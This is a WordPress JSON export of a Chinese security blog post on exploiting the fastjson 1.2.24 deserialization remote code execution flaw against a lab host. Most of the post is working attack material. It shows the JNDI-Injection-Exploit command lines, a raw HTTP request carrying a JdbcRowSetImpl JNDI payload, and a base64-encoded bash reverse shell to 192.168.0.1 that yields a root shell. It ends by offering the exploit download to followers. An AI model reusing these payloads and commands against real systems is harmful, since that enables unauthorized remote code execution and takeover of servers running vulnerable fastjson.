{"id":1175,"date":"2022-12-13T12:23:32","date_gmt":"2022-12-13T04:23:32","guid":{"rendered":"https:\/\/blog.langsasec.cn\/?p=1175"},"modified":"2022-12-13T12:23:32","modified_gmt":"2022-12-13T04:23:32","slug":"fastjson-1-2-24-rce","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2022\/12\/13\/fastjson-1-2-24-rce\/","title":{"rendered":"fastjson 1.2.24-rce"},"content":{"rendered":"<h2><span class=\"ez-toc-section\" id=\"%e6%bc%8f%e6%b4%9e%e6%a6%82%e8%bf%b0\"><\/span>\u6f0f\u6d1e\u6982\u8ff0<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>fastjson 1.2.24 \u53cd\u5e8f\u5217\u5316\u5bfc\u81f4\u4efb\u610f\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u5f71\u54cd\u8303\u56f4\uff1afastjson&lt;=1.2.24<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba\"><\/span>\u73af\u5883\u642d\u5efa<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u73af\u5883\u642d\u5efa\u5b8c\u6bd5\uff0c\u8bbf\u95eehttp:\/\/192.168.0.140:8090\/\uff0c\u5f97\u5230\u5982\u4e0b\u9875\u9762<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/39e0ee5d8f89591cde87d2ed4b0bae9d8eba827b.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe\" \/> <\/p>\n<p>\u6293\u5305\uff0c\u4fee\u6539\u6570\u636e\u5305\uff0c\u5c31\u53ef\u4ee5\u66f4\u65b0\u670d\u52a1\u5668\u7aef\u7684\u4fe1\u606f<\/p>\n<p>GET\u4fee\u6539\u6210POST\uff0c\u518d\u6dfb\u52a0<\/p>\n<p>Content-Type:application\/json<\/p>\n<p>{&quot;name&quot;:&quot;hello&quot;,&quot;age&quot;:20}<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/4df9a88bb7b342dcc7d4bce1cb273ed2ddf6a079.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe1\" \/> <\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c\"><\/span>\u547d\u4ee4\u6267\u884c<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>1\uff09\u5229\u7528\u5de5\u5177\u81ea\u52a8\u5f00\u542fRMI\u548cLDAP\u670d\u52a1\u4ee5\u53ca\u53d1\u5e03Exploit\u7c7b<\/p>\n<p>java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;\u8981\u6267\u884c\u7684\u547d\u4ee4&quot; -A &quot;vpsip&quot;<\/p>\n<p>java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;touch \/tmp\/access&quot; -A &quot;192.168.0.1&quot;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/aeab1a02ae885db96e0eae3ee2c871e6552b4821.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe2\" \/> <\/p>\n<p>2\uff09\u6839\u636e\u542f\u52a8\u7684\u670d\u52a1\u6784\u9020\u6570\u636e\u5305<\/p>\n<p>POST \/ HTTP\/1.1<\/p>\n<p>Host: 192.168.0.140:8090<\/p>\n<p>Accept-Encoding: gzip, deflate<\/p>\n<p>Accept: <em>\/<\/em><\/p>\n<p>Accept-Language: en<\/p>\n<p>User-Agent: Mozilla\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\/5.0)<\/p>\n<p>Connection: close<\/p>\n<p>Content-Type: application\/json<\/p>\n<p>Content-Length: 160<\/p>\n<p>{<\/p>\n<p>&quot;b&quot;:{<\/p>\n<p>\u200b    &quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,<\/p>\n<p>\u200b    &quot;dataSourceName&quot;:&quot;rmi:\/\/192.168.0.1:1099\/cstvrv&quot;,<\/p>\n<p>\u200b    &quot;autoCommit&quot;:true<\/p>\n<p>}<\/p>\n<p>}<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/554604d40ca0bd66607671a5ccdfadf5c4dce3c4.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe3\" \/> <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/eba0451720dfb31722f51ffce032aa7b47447ce7.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe4\" \/> <\/p>\n<p>\u8fdb\u5165\u540e\u53f0\u67e5\u770b\u547d\u4ee4\u662f\u5426\u6267\u884c\u6210\u529f\uff0c\u547d\u4ee4\u6210\u529f\u6267\u884c\uff0c\u521b\u5efa\/tmp\/access\u6587\u4ef6<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/5e5d74f872633adaa8fa21be3cda4e29982d891c.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe5\" \/> <\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e5%8f%8d%e5%bc%b9shell\"><\/span>\u53cd\u5f39shell<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>bash-i &gt;&amp; \/dev\/tcp\/192.168.0.1\/99990&gt;&amp;1-&gt; YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg  #base64\u7f16\u7801<\/p>\n<p>java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg}|{base64,-d}|{bash,-i}&quot; -A &quot;192.168.0.1&quot;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/ba857c96350acb9065c0a1f89139a73e3ea1598a.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe6\" \/> <\/p>\n<p>\u540c\u6837\u7684\u6839\u636e\u542f\u52a8\u7684\u670d\u52a1\u6784\u9020\u6570\u636e\u5305\u8fdb\u884c\u53d1\u9001\uff0c\u7136\u540e\u4ee5\u4e0b\u4e24\u4e2a\u7ed3\u679c\u4f1a\u5148\u5f39\u51fa<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/26355e56bc8f5b39133d6aac7b983fae42d74993.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe7\" \/> <\/p>\n<p>\u8fc7\u4e00\u4f1a\u513f\uff0c\u53cd\u5f39shell\u5c31\u4f1a\u5f39\u51fa\uff0croot\u6743\u9650\uff0c\u80fd\u591f\u6b63\u5e38\u6267\u884c\u547d\u4ee4<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/i0.hdslb.com\/bfs\/album\/04a558a0823a17d7865662c3032dbdb35db967b3.jpg\" alt=\"img\" title=\"fastjson 1.2.24-rce\u63d2\u56fe8\" \/> <\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e8%8e%b7%e5%8f%96exp\"><\/span>\u83b7\u53d6exp<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<blockquote>\n<p>\u5173\u6ce8\u6d6a\u98d2sec\u56de\u590d<code>221213<\/code>\u83b7\u53d6exp\u4e0b\u8f7d\u5730\u5740<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>\u6f0f\u6d1e\u6982\u8ff0 fastjson 1.2.24 \u53cd\u5e8f\u5217\u5316\u5bfc\u81f4\u4efb\u610f\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u5f71\u54cd\u8303\u56f4\uff1afastjson&lt; [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[34],"tags":[],"class_list":["post-1175","post","type-post","status-publish","format-standard","hentry","category-vulfx"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1175","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=1175"}],"version-history":[{"count":1,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1175\/revisions"}],"predecessor-version":[{"id":1177,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/1175\/revisions\/1177"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=1175"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=1175"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=1175"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}